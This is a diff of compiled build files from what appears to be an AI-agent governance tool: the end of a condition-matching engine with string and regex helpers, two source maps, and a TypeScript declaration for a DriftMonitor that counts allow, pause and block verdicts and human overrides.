+
return {
|
|
129
|
+
matched,
|
|
130
|
+
evidence: matched ? `"${searchStr}" found in field` : null,
|
|
131
|
+
};
|
|
132
|
+
}
|
|
133
|
+
function evaluateContainsAny(fieldValue, conditionValue) {
|
|
134
|
+
if (!Array.isArray(conditionValue))
|
|
135
|
+
return { matched: false, evidence: null };
|
|
136
|
+
const fieldStr = toString(fieldValue).toLowerCase();
|
|
137
|
+
for (const pattern of conditionValue) {
|
|
138
|
+
const patternLower = toString(pattern).toLowerCase();
|
|
139
|
+
if (fieldStr.includes(patternLower)) {
|
|
140
|
+
return {
|
|
141
|
+
matched: true,
|
|
142
|
+
evidence: `"${patternLower}" found in field`,
|
|
143
|
+
};
|
|
144
|
+
}
|
|
145
|
+
}
|
|
146
|
+
return { matched: false, evidence: null };
|
|
147
|
+
}
|
|
148
|
+
function evaluateMatchesPattern(fieldValue, conditionValue) {
|
|
149
|
+
const fieldStr = toString(fieldValue);
|
|
150
|
+
const patterns = Array.isArray(conditionValue) ? conditionValue : [toString(conditionValue)];
|
|
151
|
+
for (const pattern of patterns) {
|
|
152
|
+
try {
|
|
153
|
+
const regex = new RegExp(toString(pattern), 'i');
|
|
154
|
+
if (regex.test(fieldStr)) {
|
|
155
|
+
return {
|
|
156
|
+
matched: true,
|
|
157
|
+
evidence: `matched pattern /${pattern}/`,
|
|
158
|
+
};
|
|
159
|
+
}
|
|
160
|
+
}
|
|
161
|
+
catch {
|
|
162
|
+
// Invalid regex — skip silently (don't crash enforcement)
|
|
163
|
+
continue;
|
|
164
|
+
}
|
|
165
|
+
}
|
|
166
|
+
return { matched: false, evidence: null };
|
|
167
|
+
}
|
|
168
|
+
function evaluateStartsWith(fieldValue, conditionValue) {
|
|
169
|
+
const fieldStr = toString(fieldValue).toLowerCase();
|
|
170
|
+
const prefix = toString(conditionValue).toLowerCase();
|
|
171
|
+
const matched = fieldStr.startsWith(prefix);
|
|
172
|
+
return {
|
|
173
|
+
matched,
|
|
174
|
+
evidence: matched ? `field starts with "${prefix}"` : null,
|
|
175
|
+
};
|
|
176
|
+
}
|
|
177
|
+
function evaluateEndsWith(fieldValue, conditionValue) {
|
|
178
|
+
const fieldStr = toString(fieldValue).toLowerCase();
|
|
179
|
+
const suffix = toString(conditionValue).toLowerCase();
|
|
180
|
+
const matched = fieldStr.endsWith(suffix);
|
|
181
|
+
return {
|
|
182
|
+
matched,
|
|
183
|
+
evidence: matched ? `field ends with "${suffix}"` : null,
|
|
184
|
+
};
|
|
185
|
+
}
|
|
186
|
+
//# sourceMappingURL=condition-engine.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"condition-engine.js","sourceRoot":"","sources":["../condition-engine.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Drift Monitor — Background service tracking governance health
|
|
3
|
+
*
|
|
4
|
+
* Tracks:
|
|
5
|
+
* - Block frequency (are we blocking too much? too little?)
|
|
6
|
+
* - Manual overrides (humans overriding PAUSE decisions)
|
|
7
|
+
* - Tool friction (which tools cause the most governance friction?)
|
|
8
|
+
* - Rule friction (which rules fire most often?)
|
|
9
|
+
*
|
|
10
|
+
* Can also read from audit.jsonl for historical analysis.
|
|
11
|
+
* Stored in .neuroverseos/state.json — separate from MEMORY.md.
|
|
12
|
+
*/
|
|
13
|
+
import type { GovernanceEngine } from './governance-engine';
|
|
14
|
+
export interface DriftState {
|
|
15
|
+
totalActions: number;
|
|
16
|
+
allowCount: number;
|
|
17
|
+
pauseCount: number;
|
|
18
|
+
blockCount: number;
|
|
19
|
+
overrideCount: number;
|
|
20
|
+
toolFriction: Record<string, {
|
|
21
|
+
blocks: number;
|
|
22
|
+
pauses: number;
|
|
23
|
+
allows: number;
|
|
24
|
+
}>;
|
|
25
|
+
ruleFriction: Record<string, number>;
|
|
26
|
+
lastUpdated: number;
|
|
27
|
+
sessionStart: number;
|
|
28
|
+
}
|
|
29
|
+
export interface DriftStats {
|
|
30
|
+
totalActions: number;
|
|
31
|
+
allowCount: number;
|
|
32
|
+
pauseCount: number;
|
|
33
|
+
blockCount: number;
|
|
34
|
+
blockRate: number;
|
|
35
|
+
pauseRate: number;
|
|
36
|
+
overrideRate: number;
|
|
37
|
+
driftSignals: string[];
|
|
38
|
+
}
|
|
39
|
+
export interface DriftProposal {
|
|
40
|
+
type: 'add_guard' | 'modify_threshold' | 'add_role' | 'add_invariant';
|
|
41
|
+
reason: string;
|
|
42
|
+
suggestion: string;
|
|
43
|
+
evidence: string;
|
|
44
|
+
}
|
|
45
|
+
export interface DriftMonitorConfig {
|
|
46
|
+
statePath: string;
|
|
47
|
+
auditPath: string;
|
|
48
|
+
engine: GovernanceEngine;
|
|
49
|
+
}
|
|
50
|
+
export declare class DriftMonitor {
|
|
51
|
+
private config;
|
|
52
|
+
private state;
|
|
53
|
+
private saveInterval;
|
|
54
|
+
constructor(config: DriftMonitorConfig);
|
|
55
|
+
start(): void;
|
|
56
|
+
stop(): void;
|
|
57
|
+
/**
|
|
58
|
+
* Record an action and its governance verdict.
|
|
59
|
+
*/
|
|
60
|
+
recordAction(tool: string, verdict: 'ALLOW' | 'PAUSE' | 'BLOCK', ruleId?: string): void;
|
|
61
|
+
/**
|
|
62
|
+
* Record when a human overrides a PAUSE decision.
|
|
63
|
+
*/
|
|
64
|
+
recordOverride(): void;
|
|
65
|
+
/**
|
|
66
|
+
* Get current drift statistics.
|
|
67
|
+
*/
|
|
68
|
+
getStats(): DriftStats;
|
|
69
|
+
/**
|
|
70
|
+
* Generate amendment proposals based on drift patterns.
|
|
71
|
+
*/
|
|
72
|
+
generateProposals(): DriftProposal[];
|
|
73
|
+
/**
|
|
74
|
+
* Rebuild stats from the audit log (for historical analysis).
|
|
75
|
+
*/
|
|
76
|
+
rebuildFromAudit(): void;
|
|
77
|
+
private loadState;
|
|
78
|
+
private freshState;
|
|
79
|
+
private saveState;
|
|
80
|
+
}
|
|
81
|
+
//# sourceMappingURL=drift-monitor.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"drift-monitor.d.ts","sourceRoot":"","sources":["../drift-monitor.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAGH,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,qBAAqB,CAAC;AAO5D,MAAM,WAAW,UAAU;IACzB,YAAY,EAAE,MAAM,CAAC;IACrB,UAAU,EAAE,MAAM,CAAC;IACnB,UAAU,EAAE,MAAM,CAAC;IACnB,UAAU,EAAE,MAAM,CAAC;IACnB,aAAa,EAAE,MAAM,CAAC;IACtB,YAAY,EAAE,MAAM,CAAC,MAAM,EAAE;QAAE,MAAM,EAAE,MAAM,CAAC;QAAC,MAAM,EAAE,MAAM,CAAC;QAAC,MAAM,EAAE,MAAM,CAAA;KAAE,CAAC,CAAC;IACjF,YAAY,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;IACrC,WAAW,EAAE,MAAM,CAAC;IACpB,YAAY,EAAE,MAAM,CAAC;CACtB;AAED,MAAM,WAAW,UAAU;IACzB,YAAY,EAAE,MAAM,CAAC;IACrB,UAAU,EAAE,MAAM,CAAC;IACnB,UAAU,EAAE,MAAM,CAAC;IACnB,UAAU,EAAE,MAAM,CAAC;IACnB,SAAS,EAAE,MAAM,CAAC;IAClB,SAAS,EAAE,MAAM,CAAC;IAClB,YAAY,EAAE,MAAM,CAAC;IACrB,YAAY,EAAE,MAAM,EAAE,CAAC;CACxB;AAED,MAAM,WAAW,aAAa;IAC5B,IAAI,EAAE,WAAW,GAAG,kBAAkB,GAAG,UAAU,GAAG,eAAe,CAAC;IACtE,MAAM,EAAE,MAAM,CAAC;IACf,UAAU,EAAE,MAAM,CAAC;IACnB,QAAQ,EAAE,MAAM,CAAC;CAClB;AAED,MAAM,WAAW,kBAAkB;IACjC,SAAS,EAAE,MAAM,CAAC;IAClB,SAAS,EAAE,MAAM,CAAC;IAClB,MAAM,EAAE,gBAAgB,CAAC;CAC1B;AAMD,qBAAa,YAAY;IACvB,OAAO,CAAC,MAAM,CAAqB;IACnC,OAAO,CAAC,KAAK,CAAa;IAC1B,OAAO,CAAC,YAAY,CAA+C;gBAEvD,MAAM,EAAE,kBAAkB;IAKtC,KAAK,IAAI,IAAI;IAIb,IAAI,IAAI,IAAI;IAQZ;;OAEG;IACH,YAAY,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,OAAO,GAAG,OAAO,GAAG,OAAO,EAAE,MAAM,CAAC,EAAE,MAAM,GAAG,IAAI;IAgCvF;;OAEG;IACH,cAAc,IAAI,IAAI;IAItB;;OAEG;IACH,QAAQ,IAAI,UAAU;IA0CtB;;OAEG;IACH,iBAAiB,IAAI,aAAa,EAAE;IA6CpC;;OAEG;IACH,gBAAgB,IAAI,IAAI;IA0CxB,OAAO,CAAC,SAAS;IAWjB,OAAO,CAAC,UAAU;IAclB,OAAO,CAAC,SAAS;CAOlB"}
|